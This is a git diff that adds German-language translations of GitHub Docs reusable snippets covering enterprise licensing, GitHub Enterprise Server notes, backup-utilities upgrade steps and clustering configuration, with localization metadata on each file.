+ms.openlocfilehash: b53fd15933e9ffe71da5ae0f25b8ddce4b4a5222
+ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/31/2022
+ms.locfileid: "148120637"
+---
+{% data variables.visual_studio.prodname_vss_ghe %} ist ein kombiniertes Angebot von Microsoft, das es einem Abonnenten ermöglicht, sowohl {% data variables.product.prodname_vs %} als auch {% data variables.product.prodname_enterprise %} zu verwenden.
diff --git a/translations/de-DE/data/reusables/enterprise-licensing/about-license-sync.md b/translations/de-DE/data/reusables/enterprise-licensing/about-license-sync.md
new file mode 100644
index 0000000000..65c1ca7ebb
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-licensing/about-license-sync.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fbb3311774be7ef276adaba8461a100f73c1c6bb
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109641"
+---
+Damit eine Person, die mehrere {% data variables.product.prodname_enterprise %}-Umgebungen nutzt, nur eine einzige Lizenz benötigt, musst du die Lizenznutzung zwischen den Umgebungen synchronisieren. Dann werden die Benutzer von {% data variables.product.company_short %} anhand der E-Mail-Adressen dedupliziert, die ihren Benutzerkonten zugeordnet sind. Weitere Informationen findest du unter [Problembehandlung bei der Lizenznutzung für {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise#about-the-calculation-of-consumed-licenses).
diff --git a/translations/de-DE/data/reusables/enterprise-licensing/contact-sales-for-renewals-or-seats.md b/translations/de-DE/data/reusables/enterprise-licensing/contact-sales-for-renewals-or-seats.md
new file mode 100644
index 0000000000..b1e884a843
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-licensing/contact-sales-for-renewals-or-seats.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d1d6de188233fce2936ebca32402dadddae71b39
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108588"
+---
+Wenn Du Benutzerlizenzen erneuern oder zu {% data variables.product.prodname_enterprise %} hinzufügen möchtest oder Fragen zu deiner Lizenz hast, kontaktiere {% data variables.contact.contact_enterprise_sales %}. Ihre neue Lizenzdatei steht sofort nach dem Abschluss Ihrer Bestellung zum Download zur Verfügung.
diff --git a/translations/de-DE/data/reusables/enterprise-licensing/unique-user-licensing-model.md b/translations/de-DE/data/reusables/enterprise-licensing/unique-user-licensing-model.md
new file mode 100644
index 0000000000..1504d22325
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-licensing/unique-user-licensing-model.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: ceae9868f56dc890a23767f070d415ebcfc43274
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147572658"
+---
+{% data variables.product.company_short %} verwendet ein Lizenzmodell für eindeutige Benutzer. Bei Unternehmensprodukten mit mehreren Bereitstellungsoptionen bestimmt {% data variables.product.company_short %}, wie viele lizenzierte Arbeitsplätze du basierend auf der Anzahl der eindeutigen Benutzer über alle deine Bereitstellungen nutzt.
+
+Jedes Benutzerkonto verbraucht nur eine Lizenz, unabhängig davon, wie viele {% data variables.product.prodname_ghe_server %}-Instanzen der Benutzer bzw. die Benutzerin verwendet oder bei wie vielen Organisationen der Benutzer bzw. die Benutzerin auf {% data variables.product.prodname_ghe_cloud %} Mitglied ist. Dieses Modell ermöglicht es jeder Person, mehrere {% data variables.product.prodname_enterprise %}-Bereitstellungen zu nutzen, ohne dass zusätzliche Kosten anfallen.
diff --git a/translations/de-DE/data/reusables/enterprise-licensing/verified-domains-license-sync.md b/translations/de-DE/data/reusables/enterprise-licensing/verified-domains-license-sync.md
new file mode 100644
index 0000000000..714b57dfd5
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-licensing/verified-domains-license-sync.md
@@ -0,0 +1,5 @@
+{% note %}
+
+**Note:** If you synchronize license usage and your enterprise account on {% data variables.product.prodname_dotcom_the_website %} does not use {% data variables.product.prodname_emus %}, we highly recommend enabling verified domains for your enterprise account on {% data variables.product.prodname_dotcom_the_website %}. For privacy reasons, your consumed license report only includes the email address associated with a user account on {% data variables.product.prodname_dotcom_the_website %} if the address is hosted by a verified domain. If one person is erroneously consuming multiple licenses, having access to the email address that is being used for deduplication makes troubleshooting much easier. For more information, see {% ifversion ghec or ghes %}"[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)" and {% endif %}"[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise-licensing/view-consumed-licenses.md b/translations/de-DE/data/reusables/enterprise-licensing/view-consumed-licenses.md
new file mode 100644
index 0000000000..e3804680bf
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-licensing/view-consumed-licenses.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bd7f02d9210dd6c84d7cdd0666008b9de3c4ac1b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108583"
+---
+Nachdem du die Lizenznutzung synchronisiert hast, kannst du einen Bericht über verbrauchte Lizenzen in allen deinen Umgebungen in den Unternehmenseinstellungen auf {% data variables.product.prodname_dotcom_the_website %} sehen. Weitere Informationen findest du unter [Anzeigen deiner Lizenznutzung für {% data variables.product.prodname_enterprise %}](/enterprise-cloud@latest/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise).
diff --git a/translations/de-DE/data/reusables/enterprise-managed/about-billing.md b/translations/de-DE/data/reusables/enterprise-managed/about-billing.md
new file mode 100644
index 0000000000..54b2e9ac18
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-managed/about-billing.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5cee56f4d4630584aa2c13c40733652eeaa8eb42
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108576"
+---
+Du erhältst eine monatliche Abrechnung für {% data variables.product.prodname_ghe_managed %}, wobei die Gebühren pro lizenziertem Benutzer pro Tag berechnet werden.
diff --git a/translations/de-DE/data/reusables/enterprise/3-5-missing-feature.md b/translations/de-DE/data/reusables/enterprise/3-5-missing-feature.md
new file mode 100644
index 0000000000..bc357a5174
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/3-5-missing-feature.md
@@ -0,0 +1,11 @@
+{% ifversion ghes = 3.5 %}
+
+{% note %}
+
+**Note**: This feature was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3. The feature is available in 3.5.4 and later. For more information about upgrades, contact your site administrator.
+
+For more information about determining the version of {% data variables.product.product_name %} you're using, see "[About versions of  {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server)."
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise/about-deployment-methods.md b/translations/de-DE/data/reusables/enterprise/about-deployment-methods.md
new file mode 100644
index 0000000000..56dbeb8476
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/about-deployment-methods.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 47a5e8848f48c9eb6fd165af30843a59c5a2711e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108572"
+---
+{% data variables.product.prodname_enterprise %} bietet zwei Bereitstellungsoptionen. {% ifversion fpt or ghec %}Zusätzlich zu {% data variables.product.prodname_ghe_cloud %} kannst du {% data variables.product.prodname_ghe_server %} verwenden, um Entwicklungsarbeiten für dein Unternehmen in deinem Rechenzentrum oder einer unterstützten Cloud zu hosten. {% elsif ghes %}Zusätzlich zu {% data variables.product.product_name %} kannst du {% data variables.product.prodname_ghe_cloud %} verwenden, um Entwicklungsarbeiten für dein Unternehmen auf {% data variables.product.prodname_dotcom_the_website %} zu hosten.{% endif %} Weitere Informationen findest du unter [{% data variables.product.company_short %}-Produkte](/get-started/learning-about-github/githubs-products#github-enterprise).
diff --git a/translations/de-DE/data/reusables/enterprise/about-github-for-enterprises.md b/translations/de-DE/data/reusables/enterprise/about-github-for-enterprises.md
new file mode 100644
index 0000000000..eb9108bbb2
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/about-github-for-enterprises.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a708ef37153f09729c17dd9a06f258cb64579e6b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109633"
+---
+Weitere Informationen dazu, wie Unternehmen {% data variables.product.company_short %}-Produkte verwenden können, um ihren Softwareentwicklungs-Lebenszyklus zu unterstützen, findest du unter [Informationen zu {% data variables.product.prodname_dotcom %} für Unternehmen](/admin/overview/about-github-for-enterprises).
diff --git a/translations/de-DE/data/reusables/enterprise/about-policies.md b/translations/de-DE/data/reusables/enterprise/about-policies.md
new file mode 100644
index 0000000000..20c4be8258
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/about-policies.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fa2917f67972202026445efbca4f9cb3984c27ed
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881788"
+---
+Jede Unternehmensrichtlinie steuert die Optionen, die für eine Richtlinie auf Organisationsebene verfügbar sind. Du kannst wählen, eine Richtlinie nicht zu erzwingen, was den Besitzern der Organisation erlaubt, die Richtlinie für die Organisation zu konfigurieren, oder du kannst aus einer Reihe von Optionen zum Erzwingen für alle Organisationen deines Unternehmens wählen.
diff --git a/translations/de-DE/data/reusables/enterprise/about-ssh-ports.md b/translations/de-DE/data/reusables/enterprise/about-ssh-ports.md
new file mode 100644
index 0000000000..9e077218b7
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/about-ssh-ports.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 05684d814437bf0bce0f851e7c4ca067dad316d7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147410742"
+---
+Jede {% data variables.product.product_name %}-Instanz akzeptiert SSH-Verbindungen über zwei Ports. Websiteadministratoren können über SSH auf die Verwaltungsshell zugreifen, dann Befehlszeilen-Hilfsprogramme ausführen, Problembehandlung und Wartung durchführen. Benutzer können eine Verbindung über SSH herstellen und in den Repositorys der Instanz auf Git-Daten zuzugreifen und sie schreiben. Benutzer haben keinen Shellzugriff auf deine Instanz. Weitere Informationen findest du in den folgenden Artikeln.
+
+- [Netzwerkports](/admin/configuration/configuring-network-settings/network-ports)
+- [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)
+- „[Informationen zur SSH](/authentication/connecting-to-github-with-ssh/about-ssh)“
diff --git a/translations/de-DE/data/reusables/enterprise/apply-configuration.md b/translations/de-DE/data/reusables/enterprise/apply-configuration.md
new file mode 100644
index 0000000000..7af7ba5163
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/apply-configuration.md
@@ -0,0 +1,12 @@
+1. To apply the configuration, enter the following command.
+
+   {% note %}
+   
+   **Note**: During a configuration run, services on {% data variables.location.product_location %} may restart, which can cause brief downtime for users.
+
+   {% endnote %}
+
+    ```shell
+    ghe-config-apply
+    ```
+1. Wait for the configuration run to complete.
diff --git a/translations/de-DE/data/reusables/enterprise/constantly-improving.md b/translations/de-DE/data/reusables/enterprise/constantly-improving.md
new file mode 100644
index 0000000000..9c6a35303e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/constantly-improving.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7ccbfd10f10ea0507c1fc2e0164af568e2897361
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108567"
+---
+{% data variables.product.product_name %} wird ständig mit neuen Funktionen und Fehlerkorrekturen verbessert, die über {% ifversion ghes %}Feature- und Patchreleases{% elsif ghae %}reguläre Updates{% endif %} eingeführt werden.
diff --git a/translations/de-DE/data/reusables/enterprise/create-an-enterprise-account.md b/translations/de-DE/data/reusables/enterprise/create-an-enterprise-account.md
new file mode 100644
index 0000000000..9a590fac9e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/create-an-enterprise-account.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1945c3d8a6f21dfa412463b938cb8b20a3ad56d0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108560"
+---
+Wenn du derzeit {% data variables.product.prodname_ghe_cloud %} mit einer einzigen Organisation verwendest, solltest du ein Unternehmenskonto erstellen.
diff --git a/translations/de-DE/data/reusables/enterprise/ghec-authentication-options.md b/translations/de-DE/data/reusables/enterprise/ghec-authentication-options.md
new file mode 100644
index 0000000000..e9a7d88b32
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/ghec-authentication-options.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1acdedabde1b516be6b8953861ed20cf6254ddb8
+ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: "148163479"
+---
+Du kannst auswählen, dass Mitglieder Benutzerkonten erstellen und verwalten können, oder dein Unternehmen kann mit {% data variables.product.prodname_emus %} Konten für Mitglieder erstellen und verwalten. Wenn du es Mitgliedern ermöglichst, ihre eigenen Konten zu verwalten, kannst du auch die SAML-Authentifizierung konfigurieren, um die Sicherheit zu erhöhen sowie die Identität und den Zugriff auf die von deinem Team verwendeten Webanwendungen zu zentralisieren.
diff --git a/translations/de-DE/data/reusables/enterprise/ghec-cta-button.md b/translations/de-DE/data/reusables/enterprise/ghec-cta-button.md
new file mode 100644
index 0000000000..e9e9c58475
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/ghec-cta-button.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 10b33d8c961c92095fc55f36f3b7b97d3524be0c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108555"
+---
+<a href="https://github.com/account/organizations/new?plan=business_plus" class="btn btn-primary btn-large f4 mt-3 mr-3">{% data variables.product.prodname_ghe_cloud %} kostenlos testen</a>
diff --git a/translations/de-DE/data/reusables/enterprise/ghes-is-a-self-hosted-platform.md b/translations/de-DE/data/reusables/enterprise/ghes-is-a-self-hosted-platform.md
new file mode 100644
index 0000000000..7e1e3a0fcc
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/ghes-is-a-self-hosted-platform.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2d5bba07cd7f06f3fe7cb9f288d9e7315d74c2a5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880228"
+---
+{% data variables.product.product_name %} ist eine selbstgehostete Plattform für die Softwareentwicklung innerhalb deines Unternehmens.
diff --git a/translations/de-DE/data/reusables/enterprise/ghes-runs-on-your-infrastructure.md b/translations/de-DE/data/reusables/enterprise/ghes-runs-on-your-infrastructure.md
new file mode 100644
index 0000000000..cef86ffb3c
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/ghes-runs-on-your-infrastructure.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2d6c3d3a48714ca694ca46d5998f70f60fde3d88
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147079968"
+---
+{% data variables.product.product_name %} wird auf deiner Infrastruktur ausgeführt und von Zugriffs- und Sicherheitskontrollen geregelt, die von dir definiert werden, z. B. Firewalls, Netzwerkrichtlinien, IAM, Überwachung und VPNs. {% data variables.product.product_name %} ist für Unternehmen geeignet, die gesetzliche Bestimmungen einhalten müssen, um Probleme zu vermeiden, die sich aus Softwareentwicklungsplattformen in der öffentlichen Cloud ergeben.
diff --git a/translations/de-DE/data/reusables/enterprise/github-distributes-ghes.md b/translations/de-DE/data/reusables/enterprise/github-distributes-ghes.md
new file mode 100644
index 0000000000..7f3f9767d4
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/github-distributes-ghes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d059e3b82e723431b83d66872488bc0dade27eee
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147079974"
+---
+{% data variables.product.company_short %} verteilt {% data variables.product.product_name %} als eine eigenständige virtuelle Appliance. Nachdem du einen virtuellen Computer bereitgestellt und die Appliance installiert hast, wird auf der Instanz ein Linux-Betriebssystem mit einem benutzerdefinierten Anwendungsstapel ausgeführt.
diff --git a/translations/de-DE/data/reusables/enterprise/link-to-ghe-trial.md b/translations/de-DE/data/reusables/enterprise/link-to-ghe-trial.md
new file mode 100644
index 0000000000..5d3f2d1107
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/link-to-ghe-trial.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 03ab35bd6f52f7207cbc657281cd4ae4eb57331b
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145108551"
+---
+Weitere Informationen zum kostenlosen Testen von {% data variables.product.prodname_enterprise %} findest Du unter [Einrichten einer Testversion von {% data variables.product.prodname_ghe_cloud %}]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud) und [Einrichten einer Testversion von {% data variables.product.prodname_ghe_server %}]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server).
diff --git a/translations/de-DE/data/reusables/enterprise/link-to-ghec-trial.md b/translations/de-DE/data/reusables/enterprise/link-to-ghec-trial.md
new file mode 100644
index 0000000000..3b72a9cf51
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/link-to-ghec-trial.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 51e25423308f1e74637e883a283e9fbfa6f7c3fe
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877073"
+---
+Weitere Informationen zum kostenlosen Testen von {% data variables.product.prodname_ghe_cloud %} findest du unter [Eine Testversion von {% data variables.product.prodname_ghe_cloud %} einrichten]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud).
diff --git a/translations/de-DE/data/reusables/enterprise/navigate-to-log-streaming-tab.md b/translations/de-DE/data/reusables/enterprise/navigate-to-log-streaming-tab.md
new file mode 100644
index 0000000000..6458f82d98
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/navigate-to-log-streaming-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0910436ed9a76ea6fbe073964269ced029cf98cc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880164"
+---
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %}
+1. Klicke unter „Überwachungsprotokoll“ auf **Protokollstreaming**.
diff --git a/translations/de-DE/data/reusables/enterprise/rate_limit.md b/translations/de-DE/data/reusables/enterprise/rate_limit.md
new file mode 100644
index 0000000000..e6863783bd
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/rate_limit.md
@@ -0,0 +1,9 @@
+{% ifversion ghes %}
+
+{% note %}
+
+**Note**: The following rate limits are the default rate limits for {% data variables.product.product_name %}. Contact your site administrator to confirm the rate limits for {% data variables.location.product_location %}.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise/repository-caching-config-summary.md b/translations/de-DE/data/reusables/enterprise/repository-caching-config-summary.md
new file mode 100644
index 0000000000..5b7c2ac614
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/repository-caching-config-summary.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a9105076c93fde5fadbbb6e64e2d627268d70c6f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102548"
+---
+Du kannst die Zwischenspeicherung von Repositorys konfigurieren, indem du einen speziellen Replikattyp erstellst, der als Repositorycache bezeichnet wird.
diff --git a/translations/de-DE/data/reusables/enterprise/repository-caching-release-phase.md b/translations/de-DE/data/reusables/enterprise/repository-caching-release-phase.md
new file mode 100644
index 0000000000..31a2b15709
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/repository-caching-release-phase.md
@@ -0,0 +1,7 @@
+{% ifversion ghes < 3.6 %}
+{% note %}
+
+**Note:** Repository caching is currently in beta and subject to change.
+
+{% endnote %}
+{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise/test-in-staging.md b/translations/de-DE/data/reusables/enterprise/test-in-staging.md
new file mode 100644
index 0000000000..43fe854c49
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/test-in-staging.md
@@ -0,0 +1 @@
+{% data variables.product.company_short %} strongly recommends that you verify any new configuration for authentication in a staging environment. An incorrect configuration could result in downtime for {% data variables.location.product_location %}. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)."
diff --git a/translations/de-DE/data/reusables/enterprise/upgrade-ghes-for-features.md b/translations/de-DE/data/reusables/enterprise/upgrade-ghes-for-features.md
new file mode 100644
index 0000000000..1f270d8c7e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/upgrade-ghes-for-features.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: b0045d0e4f09544b99c2baea75068a52dc35dedb
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108543"
+---
+{% note %}
+
+**Hinweis:** Features wie {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} und {% data variables.product.prodname_GH_advanced_security %} sind für {% data variables.product.prodname_ghe_server %} 3.0 oder höher verfügbar. Es wird dringend empfohlen, ein Upgrade auf Version 3.0 oder höhere Releases durchzuführen, um wichtige Sicherheitsupdates, Fehlerkorrekturen und Featureverbesserungen zu erhalten.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise/use-a-multiplexer.md b/translations/de-DE/data/reusables/enterprise/use-a-multiplexer.md
new file mode 100644
index 0000000000..060fd9fb65
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/use-a-multiplexer.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 11ae68c37747079d6e9fdbb3f52f7483edfc14d2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102532"
+---
+Die Ausführung dieses Befehls kann einige Zeit in Anspruch nehmen, daher empfehlen wir, den Befehl in einem Terminalmultiplexer wie `screen` oder `tmux` auszuführen.
diff --git a/translations/de-DE/data/reusables/enterprise/verify-audit-log-streaming-endpoint.md b/translations/de-DE/data/reusables/enterprise/verify-audit-log-streaming-endpoint.md
new file mode 100644
index 0000000000..a13fe9803e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise/verify-audit-log-streaming-endpoint.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bf340af348538795abebad60a01de5ae805b03bc
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108539"
+---
+1. Nachdem du den Endpunkt erfolgreich überprüft hast, klicke auf **Speichern**.
diff --git a/translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-directory.md b/translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-directory.md
new file mode 100644
index 0000000000..22200a4ded
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-directory.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5302e6f9d952c4a8881d1f28fe7ea847a70d0efe
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109630"
+---
+1. Navigiere auf deinem Sicherungshost zu deinem {% data variables.product.prodname_enterprise_backup_utilities %}-Verzeichnis, gewöhnlich `backup-utils`.
diff --git a/translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-update-repo.md b/translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-update-repo.md
new file mode 100644
index 0000000000..411a7c3094
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-update-repo.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 79597b1b3bb004df2b5aaadee5f72629ba62adbb
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147861690"
+---
+1. Zum Aktualisieren auf die neueste Projektreleaseversion verwende den `stable`-Branch, indem du den `git checkout stable`-Befehl ausführst.
+
+  ```shell
+  git checkout stable
+  ```
+  
+  Falls du eine bestimmte Projektversion verwenden möchtest, kannst du alternativ den folgenden Befehl ausführen, wobei du `X.Y.Z` durch die gewünschte Releaseversion ersetzt.
+
+  ```shell
+  $ git checkout vX.Y.Z
+  ```
diff --git a/translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-verify-upgrade.md b/translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-verify-upgrade.md
new file mode 100644
index 0000000000..09dc6b02b3
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-verify-upgrade.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 76be6868da14b227e1b0fbc16b8c9f913b4f04e0
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109625"
+---
+1. Führe den folgenden Befehl aus, um zu überprüfen, ob das Upgrade erfolgreich war.
+  ```shell
+  ./bin/ghe-backup --version
+  ```
+
+1. Führe den folgenden Befehl aus, um die SSH-Konnektivität zwischen deinen konfigurierten {% data variables.product.prodname_ghe_server %}-Instanzen zu überprüfen.
+  ```shell
+  ./bin/ghe-host-check
+  ```
+  
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/apply-configuration.md b/translations/de-DE/data/reusables/enterprise_clustering/apply-configuration.md
new file mode 100644
index 0000000000..9b05bd1a59
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/apply-configuration.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 60b3718c809e131cdf8360598476f9e2b6c78ee0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
